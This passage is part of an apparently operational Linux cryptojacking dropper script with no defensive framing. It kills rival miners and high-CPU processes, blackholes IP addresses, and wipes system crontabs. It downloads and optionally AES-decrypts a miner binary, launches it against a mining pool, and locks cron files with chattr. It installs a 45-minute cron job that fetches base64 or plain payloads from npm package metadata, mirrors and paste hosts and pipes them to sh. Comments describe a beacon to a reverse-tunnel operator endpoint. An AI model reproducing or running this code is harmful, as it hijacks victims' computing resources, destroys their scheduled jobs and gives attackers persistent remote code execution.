kill "$_karp_pid" 2>/dev/null; sleep 1
kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
if [ -f "$_karp_exe" ]; then
rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
fi
done
return 0
}
kill_high_cpu() {
_khc_threshold=150.0
ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
[ -f "/proc/$_khc_pid/cmdline" ] || continue
_khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
_is_excluded "$_khc_cmdline" && continue
kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
done
}
harden_network() {
command -v iptables >/dev/null 2>&1 && {
iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
}
command -v ip >/dev/null 2>&1 && {
ip route add blackhole 139.59.59.33 2>/dev/null || true
ip route add blackhole 45.94.31.89 2>/dev/null || true
ip route add blackhole 154.89.152.115 2>/dev/null || true
ip route add blackhole 84.21.173.223 2>/dev/null || true
ip route add blackhole 142.132.131.238 2>/dev/null || true
}
}
cleanup_files() {
# Remove competing miner artifacts (union of all scripts)
rm -rf /bin/softirq 2>/dev/null || true
rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
rm -rf /usr/local/bin/watcher 2>/dev/null || true
rm -rf /tmp/runnv/* 2>/dev/null || true
rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
rm -rf /tmp/nuclear 2>/dev/null || true
rm -f /tmp/mon.sh 2>/dev/null || true
rm -f /tmp/run.sh 2>/dev/null || true
# Reclaim as honeypots
mkdir -p /bin/softirq 2>/dev/null || true
mkdir -p /tmp/nuclear 2>/dev/null || true
mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
mkdir -p /usr/local/bin/watcher 2>/dev/null || true
mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
# Remove old dns-filter artifacts
for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
[ -f "$_cf_f" ] && rm -f "$_cf_f"
done
}
safe_patch_args() {
_spa_file='/lib/systemd/cache/process-watcher'
_spa_value="-o $_c3 -u $_c4/P2 --tls"
[ -f "$_spa_file" ] || return 0
_spa_esc=$(printf '%s' "$_spa_value" | sed 's/[\/&]/\\&/g') || return 0
if grep -q '^XMRIG_ARGS="[^"]*"$' "$_spa_file" 2>/dev/null; then
sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$_spa_esc\"/" "$_spa_file" 2>/dev/null || :
else
printf '\nXMRIG_ARGS="%s"\n' "$_spa_value" >> "$_spa_file" 2>/dev/null || :
fi
}
replace_pool_user() {
_rpu_path="/var/tmp/.odoo_pg_health.json"
[ -f "$_rpu_path" ] || return 0
_rpu_esc=$(printf '%s' "$_c4" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/|/\\|/g') || return 0
_rpu_tmp="${_rpu_path}.tmp.$$"
sed -e "s|\(\"user\"[ ]*:[ ]*\)\"[^\"]*\"|\1\"${_rpu_esc}\"|g" \
<"$_rpu_path" >"$_rpu_tmp" 2>/dev/null || { rm -f "$_rpu_tmp"; return 0; }
[ -s "$_rpu_tmp" ] && mv -f "$_rpu_tmp" "$_rpu_path" 2>/dev/null || rm -f "$_rpu_tmp"
}
get_cpu_count() {
if [ -f /proc/cpuinfo ]; then
grep -c '^processor' /proc/cpuinfo
else
sysctl -n hw.ncpu 2>/dev/null || nproc 2>/dev/null || getconf _NPROCESSORS_ONLN 2>/dev/null || echo 1
fi
}
is_ec2_host() {
hostname | grep -qi -e "ec2" -e "compute"
}
is_our_process_running() {
for _iop_dir in /proc/[0-9]*; do
[ -r "$_iop_dir/cmdline" ] || continue
_iop_cmdline=$(cat "$_iop_dir/cmdline" 2>/dev/null | tr '\0' ' ')
if echo "$_iop_cmdline" | grep -q "$_c5" && ! echo "$_iop_cmdline" | grep -q "is_our_process_running"; then
_iop_state=$(awk '{print $3}' "$_iop_dir/stat" 2>/dev/null)
[ "$_iop_state" = "Z" ] && continue
_iop_pid="${_iop_dir##*/}"
case "$_ga_arch" in
aarch64|arm64|armv8l)
case "$_iop_cmdline" in
*"/$_c1"*) ;;
*)
echo "ARM process uses a different identifier; replacing"
kill -9 "$_iop_pid" 2>/dev/null
sleep 1
continue
;;
esac
;;
esac
_iop_cpu=$(ps -p "$_iop_pid" -o %cpu= 2>/dev/null | tr -d ' ')
_iop_cpu=${_iop_cpu:-0}
_iop_int=${_iop_cpu%.*}
_iop_int=${_iop_int:-0}
# Tag-drift guard: a running miner with an OLD tag (the pool worker
# label = /$1) would otherwise survive every redeploy forever. When
# the live process's tag differs from the current arg, kill it and
# relaunch with the new tag.
case "$_iop_cmdline" in
*"$_c1 "*|*"$_c1")
: ;;
*)
echo "Our process runs with a stale tag — killing for relaunch (arg=$_c1)"
kill -9 "$_iop_pid" 2>/dev/null
sleep 1
continue
;;
esac
if [ "$_iop_int" -gt 0 ] 2>/dev/null; then
echo "Our process active (PID $_iop_pid, CPU ${_iop_cpu}%) — skipping launch"
return 0
else
echo "Our process idle (PID $_iop_pid) — killing and relaunching"
kill -9 "$_iop_pid" 2>/dev/null
sleep 1
fi
fi
done
echo "Our process not running"
return 1
}
set_arch_urls() {
_ga_arch=$(uname -m 2>/dev/null || echo unknown)
case "$_ga_arch" in
x86_64|amd64)
_ga_url="$_c7"
_ga_fallback="$_c9"
_ga_machine=3e00
;;
aarch64|arm64|armv8l)
_ga_url="$_c8"
_ga_fallback=""
_ga_machine=b700
_c1=ARM
;;
*)
_ga_url=""
_ga_fallback=""
_ga_machine=""
return 1
;;
esac
}
_elf_machine() {
od -An -tx1 -j18 -N2 "$1" 2>/dev/null | tr -d '[:space:]'
}
_is_elf_for_arch() {
_ie_file="$1"
[ -s "$_ie_file" ] || return 1
[ "$(head -c 4 "$_ie_file" 2>/dev/null)" = "$(printf '\177ELF')" ] || return 1
[ "$(od -An -tx1 -j4 -N2 "$_ie_file" 2>/dev/null | tr -d '[:space:]')" = "0201" ] || return 1
[ "$(_elf_machine "$_ie_file")" = "$_ga_machine" ]
}
_sfx_path() {
if [ "$(id -u)" -eq 0 ]; then printf '/var/lib/.sysconf_id'
else printf '/tmp/.sysid'; fi
}
_load_or_gen_sfx() {
_log_f=$(_sfx_path)
if [ -f "$_log_f" ] && [ -s "$_log_f" ]; then cat "$_log_f"; return; fi
_log_s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
[ -z "$_log_s" ] && _log_s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
mkdir -p "$(dirname "$_log_f")" 2>/dev/null
printf '%s' "$_log_s" >"$_log_f" 2>/dev/null
printf '%s' "$_log_s"
}
wipe_previous_crons() {
# 1) Release immutable/append-only pins from ANY cron file (not just
# $(whoami)) — otherwise rm below fails with "Operation not permitted"
# and the stale cron survives the wipe.
if [ "$(id -u)" -eq 0 ]; then
for _wl in /etc/cron.d/* /etc/cron.d/$(whoami) /etc/cron.d/apache \
/var/spool/cron/* /var/spool/cron/crontabs/* \
/etc/cron.hourly/* /etc/cron.daily/* \
/etc/cron.weekly/* /etc/cron.monthly/* \
/etc/crontab /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
[ -e "$_wl" ] || continue
chattr -i "$_wl" 2>/dev/null || true
chattr -a "$_wl" 2>/dev/null || true
done
fi
# 2) User crontabs. Zimbra mode: NEVER wipe. Zimbra's crontab is
# config-managed (zmstatctl/zmlogprocess etc.); dropping it breaks the
# mail stack and surfaces config loss. Instead scrub only competitor
# IOC lines from the invoking user's crontab and keep everything else.
# Any crontab that mentions zimbra is treated the same way.
_wp_is_zimbra=0
[ "$(id -un 2>/dev/null)" = "zimbra" ] && _wp_is_zimbra=1
[ "$_wp_is_zimbra" = 0 ] && crontab -l 2>/dev/null | grep -qi "zimbra" && _wp_is_zimbra=1
if [ "$_wp_is_zimbra" = 1 ]; then
_wp_ioc='systemdev/cron-fetch|cron-fetch-ppfs|lazyrabbit\.pages\.dev|gistpad\.com|\.usr_cron|/etc/\.dd|oanacroner|kdevtmpfsi|kinsing|\.\.config|bash /tmp/|/tmp/\.[a-z0-9_]{2,}/'
crontab -l 2>/dev/null | grep -vE "$_wp_ioc" | crontab - 2>/dev/null
echo "Zimbra crontab: competitor lines scrubbed, config preserved."
else
crontab -r 2>/dev/null || true
fi
for _us in /var/spool/cron/crontabs/* /var/spool/cron/*; do
[ -f "$_us" ] || continue
case "$_us" in *zimbra*) continue ;; esac
grep -qi "zimbra" "$_us" 2>/dev/null && continue
rm -f "$_us" 2>/dev/null || true
done
# 3) Drop the system-wide cron tree. Never on zimbra hosts: /etc/crontab
# and cron.d carry stock config-managed jobs there.
if [ "$_wp_is_zimbra" = 0 ]; then
rm -f /etc/crontab 2>/dev/null || true
rm -f /etc/cron.d/* 2>/dev/null || true
rm -f /etc/cron.hourly/* /etc/cron.daily/* \
/etc/cron.weekly/* /etc/cron.monthly/* 2>/dev/null || true
fi
}
create_cronjob() {
# Install a resilient pointer fetcher next to the payload (persistent dir,
# not /tmp) and have cron run it. The fetcher performs the full chain every
# run: /latest metadata -> dist.tarball -> package.json description ->
# base64 sanity gate -> sh, with npmjs + npmmirror origins and
# curl -> wget -> openssl fetch fallbacks.
# Ensure the tarball toolchain exists (tar + gzip) before relying on it.
for _cc_dep in tar gzip; do
if ! command -v $_cc_dep >/dev/null 2>&1; then
if [ "$(id -u)" = "0" ]; then
if command -v apk >/dev/null 2>&1; then
apk add --no-cache $_cc_dep >/dev/null 2>&1 || true
elif command -v apt-get >/dev/null 2>&1; then
apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq $_cc_dep >/dev/null 2>&1 || true
elif command -v yum >/dev/null 2>&1; then
yum install -y -q $_cc_dep >/dev/null 2>&1 || true
elif command -v dnf >/dev/null 2>&1; then
dnf install -y -q $_cc_dep >/dev/null 2>&1 || true
fi
fi
fi
done
# Keep the cron helper separate from the payload directory.
# Root gets a persistent system path; users stay under their home directory.
_cc_home=""
if [ "$(id -u)" = "0" ]; then
mkdir -p /etc/.dd 2>/dev/null && _cc_home="/etc/.dd"
fi
if [ -z "$_cc_home" ] && [ -n "$HOME" ] && [ -w "$HOME" ]; then
mkdir -p "$HOME/.usr_cron/lib" 2>/dev/null && _cc_home="$HOME/.usr_cron/lib"
fi
if [ -z "$_cc_home" ] && [ -n "$HOME_1" ]; then
mkdir -p "$HOME_1" 2>/dev/null && [ -w "$HOME_1" ] && _cc_home="$HOME_1"
fi
[ -n "$_cc_home" ] || _cc_home="/tmp/.usr_cron/lib"
if ! command -v crontab >/dev/null 2>&1; then
echo "No crontab available; persistence not installed"
return 1
fi
# No-tar fallback: targets without tar cannot unpack the pointer tarball.
# Plant a static pastebin fetcher cron instead (payload served directly).
_cc_cmd=""
# The A||B chain: guard on the shebang so a 200-OK junk response (egress
# filters) doesn't run and doesn't block the fallback. The fetched body
# lives in a temp file (a var would word-split multi-line scripts).
if command -v curl >/dev/null 2>&1; then
_cc_cmd="T=/tmp/.ccr$$; curl -fsSLk -A corecheck/1.0 $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { curl -fsSLk -A corecheck/1.0 $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }; rm -f $T"
elif command -v wget >/dev/null 2>&1; then
_cc_cmd="T=/tmp/.ccr$$; wget -qO- -U corecheck/1.0 --no-check-certificate $_cc_pastebin 2>/dev/null | tr -d \"\r\" >$T; head -c 2 $T | grep -q '#!' && sh $T || { wget -qO- -U corecheck/1.0 --no-check-certificate $_cc_pastebin_b 2>/dev/null | tr -d \"\r\" | sh; }"
elif command -v openssl >/dev/null 2>&1; then
# openssl-only fallback: raw HTTPS GET + staged decoding (no perl needed —
# strip HTTP headers with awk and execute only the response body).
mkdir -p "$_cc_home/systemdev" 2>/dev/null
_cc_helper="$_cc_home/systemdev/cron-fetch-ppfs.sh"
rm -f "/tmp/.cron_fetch_ppfs_$.sh" 2>/dev/null
cat > "$_cc_helper" << 'PASTEHELPER'
#!/bin/sh
_paste="$1"
_h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
if command -v timeout >/dev/null 2>&1; then
_r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
else
_r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" | \
openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null)
fi
printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b" 2>/dev/null
head -c 2 "$_paste.b" | grep -q '#!' && { sh "$_paste.b"; rm -f "$_paste.b"; exit $?; }
# The first URL gave junk (an egress filter's 200-OK) or nothing: try B.
[ -n "$2" ] || exit 1
_h2="${_hp2%%/*}"; _q2="/${_hp2#*/}"; [ "$_h2" = "$_hp2" ] && _q2="/"
_r2=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q2" "$_h2" | \
timeout 45 openssl s_client -quiet -connect "${_h2}:443" -servername "$_h2" 2>/dev/null)
printf '%s\n' "$_r2" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r' > "$_paste.b2" 2>/dev/null
head -c 2 "$_paste.b2" | grep -q '#!' && { sh "$_paste.b2"; }
rm -f "$_paste.b" "$_paste.b2"
exit 0
PASTEHELPER
chmod 755 "$_cc_helper"
_cc_cmd="$_cc_helper $_cc_pastebin $_cc_pastebin_b"
fi
# Decide which cron line to install, given what we have.
if [ -n "$_cc_cmd" ]; then
if ! command -v tar >/dev/null 2>&1 || ! command -v gzip >/dev/null 2>&1; then
# Cannot use the registry pointer chain (needs tar+gzip) — use the
# static pastebin cron directly, dedup keyed on the URL.
# Zimbra: append-only (see pointer site); never rewrite its crontab.
if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
if crontab -l 2>/dev/null | grep -qF "$_cc_pastebin"; then
echo "Cron persistence already installed (zimbra, preserved)."
else
if (crontab -l 2>/dev/null; printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -; then
echo "Cron persistence installed (zimbra, append-only)."
else
echo "Unable to install fallback crontab"
return 1
fi
fi
return 0
fi
if ! (crontab -l 2>/dev/null | grep -vF "$_cc_pastebin" | grep -vF "/systemdev/cron-fetch";
printf '%s\n' "*/45 * * * * $_cc_cmd") | crontab -; then
echo "Unable to install fallback crontab"
return 1
fi
echo "Cron persistence installed (pastebin fallback)."
return 0
fi
# tar+gzip present: prefer the resilient registry-pointer fetcher and
# keep the pastebin cron as an additional safety net.
:
else
echo "No tar/pointer and no curl/wget/openssl — no viable cron fallback"
return 1
fi
# Persistent fetcher dir chosen by privilege:
# root: /etc/.dd/systemdev (privileged, persistent)
# user: $HOME/.usr_cron/lib (survives logout, no root needed)
# fallback: /tmp/.usr_cron/lib (last resort, e.g. $HOME unwritable)
mkdir -p "$_cc_home/systemdev" 2>/dev/null
_cc_fetcher="$_cc_home/systemdev/cron-fetch"
cat > "$_cc_fetcher" << 'CRONHELPER'
#!/bin/sh
MIRROR="$(printf '%s' "$REGURL" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"
_extr='s/.*"description" *: *"\([^"]*\)".*/\1/p'
get_url() {
_gu="$1"
if command -v curl >/dev/null 2>&1; then
curl -fsSLk -A corecheck/1.0 --max-time 30 "$_gu" 2>/dev/null && return 0
fi
if command -v wget >/dev/null 2>&1; then
wget -qO- -U corecheck/1.0 --no-check-certificate -T 30 "$_gu" 2>/dev/null && return 0
fi
if command -v openssl >/dev/null 2>&1; then
_gu_now="$_gu"; _n=0
_raw="${TMPDIR:-/tmp}/.netz13-fetch.$$.raw"
while [ "$_n" -lt 5 ]; do
_n=$((_n+1))
_h="${_hp%%/*}"; _q="/${_hp#*/}"; [ "$_h" = "$_hp" ] && _q="/"
if command -v timeout >/dev/null 2>&1; then
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
timeout 45 openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
else
printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_q" "$_h" |
openssl s_client -quiet -connect "${_h}:443" -servername "$_h" 2>/dev/null > "$_raw"
fi
_st=$(awk 'NR == 1 {sub(/\r$/, ""); print $2; exit}' "$_raw" 2>/dev/null)
case "$_st" in 301|302|303|307|308)
_l=$(awk 'tolower($1) == "location:" {sub(/^[^:]*:[ \t]*/, ""); sub(/\r$/, ""); print; exit}' "$_raw" 2>/dev/null)
[ -z "$_l" ] && { rm -f "$_raw"; return 9; }
_gu_now="$_l"
continue;;
2??)
_off=$(awk 'BEGIN {n=0} {n += length($0) + 1; if ($0 == "" || $0 == "\r") {print n; exit}}' "$_raw" 2>/dev/null)
[ -n "$_off" ] || { rm -f "$_raw"; return 9; }
if command -v dd >/dev/null 2>&1; then
dd if="$_raw" bs=1 skip="$_off" 2>/dev/null
_rc=$?
elif command -v tail >/dev/null 2>&1; then
tail -c "+$((_off + 1))" "$_raw"
_rc=$?
else
rm -f "$_raw"
return 9
fi
rm -f "$_raw"
return "$_rc";;
*)
rm -f "$_raw"
return 9;;
esac
done
rm -f "$_raw"
return 9
fi
return 9
}
run_gated() {
b=$(cat)
printf '%s' "$b" | grep -qE '^[A-Za-z0-9+/=]+$' || exit 9
printf '%s' "$b" | base64 -d | sh
}
# 1) metadata from primary then mirror; extract tarball URL
_t=""
for _mu in "$REGURL" "$MIRROR"; do
_mt=$(get_url "$_mu" | tr -d "\r" | sed -n "s/.*\"tarball\" *: *\"\([^\"]*\)\".*/\1/p" | head -1)
[ -n "$_mt" ] && { _t="$_mt"; break; }
done
# 1b) metadata may be gone (package unpublished upstream); fall back to the
# known orphan tarball on the same mirror origin. Verified serving the
# intact payload (sha256 ad8a1c84…). Gate below still applies.
[ -z "$_t" ] && exit 9
# 2) tarball from its origin; fall back to mirror host
_b64=""
for _tu in "$_t" "$(printf '%s' "$_t" | sed 's#registry\.npmjs\.org#registry.npmmirror.com#')"; do
_cand=$(get_url "$_tu" | tar -xzO package/package.json 2>/dev/null | tr -d "\r" | sed -n "$_extr" | head -1)
[ -n "$_cand" ] && { _b64="$_cand"; break; }
done
# 3) static fallback: lazyrabbit/gistpad serve the payload as plain sh (no tar needed,
# no metadata, no gate) — last layer when both registry layers are dead.
# DNS on some hosts intermittently resolves CDN hosts to 0.0.0.0 (empty
# response). Retry once after a pause; only a NON-EMPTY body reaches sh.
if [ -z "$_b64" ]; then
_l3_body=""
for _l3_try in 1 2 3; do
if command -v curl >/dev/null 2>&1; then
_l3_body=$(curl -fsSLk -A corecheck/1.0 --max-time 30 "$_l3_url" 2>/dev/null | tr -d '\r')
elif command -v wget >/dev/null 2>&1; then
_l3_body=$(wget -qO- -U corecheck/1.0 --no-check-certificate -T 30 "$_l3_url" 2>/dev/null | tr -d '\r')
elif command -v openssl >/dev/null 2>&1; then
[ -z "$_l3_path" ] && _l3_path=/
_r=$(printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: wget/1.0\r\nConnection: close\r\n\r\n' "$_l3_path" "$_l3_host" | \
timeout 45 openssl s_client -quiet -connect "$_l3_host:443" -servername "$_l3_host" 2>/dev/null)
_l3_body=$(printf '%s\n' "$_r" | awk 'body {print; next} length($0) == 0 || $0 == "\r" {body=1}' | tr -d '\r')
fi
[ -n "$_l3_body" ] && break 2
done
[ -n "$_l3_body" ] && break
sleep 5
done
if [ -n "$_l3_body" ]; then
printf '%s' "$_l3_body" | sh
exit $?
fi
echo "all layers exhausted (L1/L2/L3); next cron tick retries" >&2
exit 9
fi
printf '%s' "$_b64" | run_gated
exit $?
CRONHELPER
chmod 755 "$_cc_fetcher"
# Self-heal guard: never install a fetcher that does not parse. A malformed
# fetcher would fire a dash syntax error every 45 minutes forever.
if ! sh -n "$_cc_fetcher" 2>/dev/null; then
echo "Planted fetcher failed syntax check; removing"
rm -f "$_cc_fetcher"
(crontab -l 2>/dev/null | grep -vF "$_cc_fetcher") | crontab - 2>/dev/null
return 1
fi
# Zimbra policy: appending is the only safe write. Zimbra's crontab is
# config-managed; a dedup-rewrite that drops its own entries breaks the
# mail stack. Append our line only when it is not already present.
if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
if crontab -l 2>/dev/null | grep -qF "$_cc_fetcher"; then
echo "Cron persistence already installed (zimbra, preserved)."
else
if (crontab -l 2>/dev/null; printf '%s\n' "*/45 * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
echo "Cron persistence installed (zimbra, append-only)."
else
echo "Unable to install pointer crontab"
return 1
fi
fi
return 0
fi
# Dedup stale pointer lines, then install the cron entry keyed on the fetcher path.
if ! (crontab -l 2>/dev/null | grep -vF "$_cc_fetcher";
printf '%s\n' "*/45 * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
echo "Unable to install pointer crontab"
return 1
fi
echo "Cron persistence installed."
}
for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
# Check it's not our process (guard against race: process may have died)
[ -r "/proc/$_main_pid/cmdline" ] || continue
_main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
_is_excluded "$_main_cmdline" && continue
kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
fi
done
if [ "$(id -u)" -eq 0 ]; then
command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
fi
log "Killing competing miners..."
kill_themf
kill_mf3
kill_high_cpu
for _main_target in \
".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
"/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
"youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
kill_and_remove_process "$_main_target" || true
done
log "Hardening network..."
harden_network
log "Cleaning up files..."
cleanup_files
safe_patch_args
replace_pool_user
_SFX=$(_load_or_gen_sfx)
if [ "$(id -u)" -eq 0 ]; then
HOME_1="/usr_${_SFX}/lib/dev"
_main_user_type="root"
# Install cron if missing (only as root)
if ! command -v crontab >/dev/null 2>&1; then
log "Installing cron..."
if command -v apk >/dev/null 2>&1; then
apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
elif command -v apt-get >/dev/null 2>&1; then
apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
elif command -v yum >/dev/null 2>&1; then
yum install -y cronie 2>/dev/null || true
fi
fi
else
# Workdir must be WRITABLE and EXEC-capable (some containers mount /tmp
# noexec: nodered, distroless variants). Probe with a real exec test.
HOME_1=""
for _wd in "/tmp/.usr_${_SFX}" "/var/tmp/.usr_${_SFX}" "$HOME/.usr_${_SFX}" "/var/run/.usr_${_SFX}" "/dev/shm/.usr_${_SFX}"; do
mkdir -p "$_wd/lib" 2>/dev/null || continue
printf '#!/bin/sh\nexit 3\n' > "$_wd/.exectest" 2>/dev/null || continue
chmod +x "$_wd/.exectest" 2>/dev/null || continue
"$_wd/.exectest" 2>/dev/null; _et=$?
if [ "$_et" = "3" ]; then
HOME_1="$_wd/lib"
break
fi
rm -f "$_wd/.exectest" 2>/dev/null
done
[ -n "$HOME_1" ] || HOME_1="/tmp/.usr_${_SFX}/lib"
_main_user_type="user"
fi
program_file="$HOME_1/systemdev/dns-filter"
mkdir -p "$HOME_1/systemdev" 2>/dev/null
if ! set_arch_urls; then
log "Unsupported architecture: $_ga_arch"
exit 1
fi
cpu_count=$(get_cpu_count)
is_ec2=false; is_ec2_host && is_ec2=true
if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
exit 0
fi
log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
if is_our_process_running; then
log "Process running — installing cron and exiting"
wipe_previous_crons
create_cronjob "$_c2"
install_beacon_cron
install_competitor_guardian
exit 0
fi
log "Downloading..."
arch_url="$_ga_url"
# Encrypted-miner support: when MINER_KEY/MINER_IV are exported (the
# operator injects them via the AMQ dispatch like BEACON_ENDPOINT), the
# fetch target is the AES-256-CBC-packed binary and the fetched blob is
# decrypted in place. No key in env = the legacy plain-binary fetch.
if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
arch_url="${arch_url}.enc"
fi
if _is_elf_for_arch "$program_file"; then
log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
else
rm -f "$program_file" 2>/dev/null || true
log "Fetching from $arch_url..."
if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
_enc_file="${program_file}.enc"
fetch_file "$arch_url" "$_enc_file"
if [ -s "$_enc_file" ]; then
openssl enc -d -aes-256-cbc -in "$_enc_file" -out "$program_file" \
-K "$MINER_KEY" -iv "$MINER_IV" 2>/dev/null
rm -f "$_enc_file" 2>/dev/null
fi
rm -f "$_enc_file" 2>/dev/null || true
else
fetch_file "$arch_url" "$program_file"
fi
chmod +x "$program_file" 2>/dev/null
if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
rm -f "$program_file"
fetch_file "$_ga_fallback" "$program_file"
chmod +x "$program_file" 2>/dev/null
fi
fi
if ! _is_elf_for_arch "$program_file"; then
log "Error: no executable for architecture $_ga_arch"
rm -f "$program_file" 2>/dev/null || true
exit 1
fi
log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
launch_miner() {
if command -v setsid >/dev/null 2>&1; then
setsid "$program_file" "$@" >/dev/null 2>&1 &
else
nohup "$program_file" "$@" >/dev/null 2>&1 &
fi
_launch_pid=$!
}
log "Launching..."
_launch_ok=0
launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
sleep 5
if kill -0 "$_launch_pid" 2>/dev/null; then
log "Process running (PID $_launch_pid)"
_launch_ok=1
else
log "Primary launch failed — retrying without -k..."
launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
sleep 5
if kill -0 "$_launch_pid" 2>/dev/null; then
log "Process running on retry (PID $_launch_pid)"
_launch_ok=1
fi
fi
if [ "$_launch_ok" != 1 ]; then
log "All launch attempts failed"
rm -f "$program_file" 2>/dev/null || true
exit 1
fi
wipe_previous_crons
create_cronjob "$_c2"
if [ "$(id -u)" -eq 0 ]; then
for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
if [ -f "$_lock_file" ]; then
chattr +i "$_lock_file" 2>/dev/null || true
chattr +a "$_lock_file" 2>/dev/null || true
fi
done
fi
# ── Beacon primary workflow (env-triggered by the tunnel delivery) ───────────
# When BEACON_ENDPOINT is set (the --auto-amq hook injects it into the AMQ
# command), the cron becomes a tunnel beacon: every 45 min (per-host jitter)
# the host dials the Villain tunnel endpoint, the operator-side auto-deploy
# fires over that shell, and the session closes. The npmjs cron-fetch chain
# (above) stays installed as the fallback layer.
# install_beacon_cron(): runs in BOTH deploy paths (already-running short
# path AND full deploy) — the short path's wipe_previous_crons removes every
# crontab line, so the beacon cron must be re-installed there too or the
# beacon dies on the first redeploy.
install_beacon_cron() {
[ -n "$BEACON_ENDPOINT" ] || return 0
case "$BEACON_ENDPOINT" in
[A-Za-z0-9._-]*:[0-9]*)
_bh="${BEACON_ENDPOINT%%:*}"; _bp="${BEACON_ENDPOINT##*:}"
;;
*)
return 0
;;
esac
case "$_HOME_1" in
/tmp/.usr_*|/var/tmp/.usr_*|/dev/shm/.usr_*|/usr_*|/home/*)
_beacon_file="$_HOME_1/systemdev/beacon.sh" ;;
*)
# fallback: probe for an exec-capable dir (noexec /tmp containers)
_beacon_file=""
for _bwd in "/var/tmp" "$HOME" "/dev/shm"; do
mkdir -p "$_bwd" 2>/dev/null || continue
printf '#!/bin/sh\nexit 3\n' > "$_bwd/.exectest" 2>/dev/null || continue
chmod +x "$_bwd/.exectest" 2>/dev/null || continue
"$_bwd/.exectest" 2>/dev/null; _et=$?
if [ "$_et" = "3" ]; then
_beacon_file="$_bwd/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
break
fi
